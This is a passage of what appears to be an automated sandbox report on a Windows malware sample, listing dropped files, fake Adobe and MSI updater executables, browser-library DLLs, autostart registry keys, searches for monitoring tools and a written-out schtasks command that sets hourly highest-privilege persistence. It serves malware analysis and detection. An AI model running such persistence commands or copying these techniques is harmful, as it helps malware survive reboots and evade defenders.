Source: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	File created: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LIOU6.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\o2i3jroi23joj23ikrjokij3oroi[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-HDAO7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TP655.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-IC7L0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	File created: C:\Users\user\AppData\Local\Temp\pd2rJiO.cpl	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\niko[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	File created: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File created: C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\svHbiLAWsgmJ0AGdyd6Z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	File created: C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\crt[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-Q006J.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\123p[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	File created: C:\Users\user\AppData\Roaming\XUwnK\7De6QmGXH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Default12_s[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inte[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0PCVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-L2SK4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-R4926.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\setup294[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-MBS2M.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File created: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LCIAQ.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	File created: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-SPMI0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\default_s[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-EA32K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	File created: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0UL97.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Retailer_prog[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	File created: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File created: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	File created: C:\Users\user\AppData\Local\Temp\pd2rJiO.cpl			Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

